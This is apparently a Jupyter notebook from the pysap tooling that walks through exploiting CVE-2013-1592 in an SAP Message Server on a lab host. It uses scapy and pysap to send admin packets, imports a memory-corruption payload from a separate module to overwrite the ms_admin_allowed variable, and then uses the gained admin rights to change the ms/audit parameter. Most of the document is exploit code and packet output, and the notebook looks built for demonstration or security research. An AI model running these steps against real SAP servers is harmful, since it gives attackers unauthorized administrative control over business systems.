SAP Message Server Memory Corruption / Change Parameter demo

Import the libraries, bind the protocol layer

In [1]:
from scapy.all import *
from pysap.SAPNI import *
from pysap.SAPMS import *
bind_layers(SAPNI, SAPMS, )
WARNING: No route found for IPv6 destination :: (no default route?)
WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)

As in the previous examples, we connect to the target server, send a login packet and grab the srever name:

In [2]:
sock = socket.socket()
sock.connect(("192.168.56.102", 3900))
conn = SAPNIStreamSocket(sock)
In [3]:
p = SAPMS(flag=0x00, iflag=0x08, toname="changeparam-demo", fromname="changeparam-demo")
response = conn.sr(p)[SAPMS]
In [4]:
server_string = response.fromname
print server_string
MSG_SERVER                              

We can retrieve the current value of a parameter:

In [5]:
adm_get = SAPMSAdmRecord(opcode=0x1, parameter="ms/audit")
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
          flag=0x04, iflag=0x05, adm_records=[adm_get])
p.show()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = MSERECONNECTION
  toname    = 'MSG_SERVER                              '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_ADMIN
  iflag     = MS_ADM_OPCODES
  fromname  = 'changeparam-demo'
  padd      = 0
  adm_eyecatcher= 'AD-EYECATCH'
  adm_version= 1
  adm_type  = ADM_REQUEST
  adm_recsize= 104
  adm_recno = 1
  \adm_records\
   |###[ SAP Message Server Adm Record ]###
   |  opcode    = AD_PROFILE
   |  serial_number= 0
   |  executed  = 0
   |  errorno   = 0
   |  parameter = 'ms/audit'

In [6]:
response = conn.sr(p)[SAPMS]
response.show()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = MSERECONNECTION
  toname    = 'MSG_SERVER                              '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_ADMIN
  iflag     = MS_ADM_OPCODES
  fromname  = 'changeparam-demo'
  padd      = 0
  adm_eyecatcher= 'AD-EYECATCH'
  adm_version= 1
  adm_type  = ADM_REPLY
  adm_recsize= '        104'
  adm_recno = '          1'
  \adm_records\
   |###[ SAP Message Server Adm Record ]###
   |  opcode    = AD_PROFILE
   |  serial_number= 0
   |  executed  = 1
   |  errorno   = 0
   |  parameter = 'ms/audit =0'

Then, send an ADM requesto for changing a parameter:

In [7]:
adm_set = SAPMSAdmRecord(opcode=0x2e, parameter="ms/audit=1")
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
          flag=0x04, iflag=0x05, adm_records=[adm_set])
p.show()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = MSERECONNECTION
  toname    = 'MSG_SERVER                              '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_ADMIN
  iflag     = MS_ADM_OPCODES
  fromname  = 'changeparam-demo'
  padd      = 0
  adm_eyecatcher= 'AD-EYECATCH'
  adm_version= 1
  adm_type  = ADM_REQUEST
  adm_recsize= 104
  adm_recno = 1
  \adm_records\
   |###[ SAP Message Server Adm Record ]###
   |  opcode    = AD_SHARED_PARAMETER
   |  serial_number= 0
   |  executed  = 0
   |  errorno   = 0
   |  parameter = 'ms/audit=1'

In [8]:
response = conn.sr(p)[SAPMS]
response.show()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = MSERECONNECTION
  toname    = 'MSG_SERVER                              '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_ADMIN
  iflag     = MS_ADM_OPCODES
  fromname  = 'changeparam-demo'
  padd      = 0
  adm_eyecatcher= 'AD-EYECATCH'
  adm_version= 1
  adm_type  = ADM_REPLY
  adm_recsize= '        104'
  adm_recno = '          1'
  \adm_records\
   |###[ SAP Message Server Adm Record ]###
   |  opcode    = AD_SHARED_PARAMETER
   |  serial_number= 0
   |  executed  = 1
   |  errorno   = 251
   |  parameter = '                                                                                                 '

Ops ! We don't have permission for change configuration parameter, as the server is not running in monitor mode. We'll enable the monitor mode by exploiting CVE-2013-1592 and overwriting the ms_admin_allowed global variable.

We craft the request and send it to the server using another connection:

In [9]:
from demo import payload
p = SAPMS(flag=0x02, iflag=0x0c) / Raw(payload)
response = conn.sr(p)[SAPMS]
response.show()
conn.close()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = 247
  toname    = 'changeparam-demo                        '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_REQUEST
  iflag     = MS_J2EE_SEND_TO_CLUSTERID
  fromname  = '-\x00 \x00                                    '
  padd      = 0

Now we should have administrative privileges on the server !

Let's check it out with a new connection to the server:

In [10]:
sock = socket.socket()
sock.connect(("192.168.56.102", 3900))
conn = SAPNIStreamSocket(sock)
p = SAPMS(flag=0x00, iflag=0x08, toname="changeparam-demo", fromname="changeparam-demo")
response = conn.sr(p)[SAPMS]
In [11]:
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
          flag=0x04, iflag=0x05, adm_records=[adm_set])
response = conn.sr(p)[SAPMS]
response.show()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = MSERECONNECTION
  toname    = 'MSG_SERVER                              '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_ADMIN
  iflag     = MS_ADM_OPCODES
  fromname  = 'changeparam-demo'
  padd      = 0
  adm_eyecatcher= 'AD-EYECATCH'
  adm_version= 1
  adm_type  = ADM_REPLY
  adm_recsize= '        104'
  adm_recno = '          1'
  \adm_records\
   |###[ SAP Message Server Adm Record ]###
   |  opcode    = AD_SHARED_PARAMETER
   |  serial_number= 0
   |  executed  = 1
   |  errorno   = 0
   |  parameter = '                                                                                                 '

In [12]:
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
          flag=0x04, iflag=0x05, adm_records=[adm_get])
response = conn.sr(p)[SAPMS]
response.show()
###[ SAP Message Server ]###
  eyecatcher= '**MESSAGE**'
  version   = 4
  errorno   = MSERECONNECTION
  toname    = 'MSG_SERVER                              '
  msgtype   = 
  reserved  = ''
  key       = ''
  flag      = MS_ADMIN
  iflag     = MS_ADM_OPCODES
  fromname  = 'changeparam-demo'
  padd      = 0
  adm_eyecatcher= 'AD-EYECATCH'
  adm_version= 1
  adm_type  = ADM_REPLY
  adm_recsize= '        104'
  adm_recno = '          1'
  \adm_records\
   |###[ SAP Message Server Adm Record ]###
   |  opcode    = AD_PROFILE
   |  serial_number= 0
   |  executed  = 1
   |  errorno   = 0
   |  parameter = 'ms/audit =1'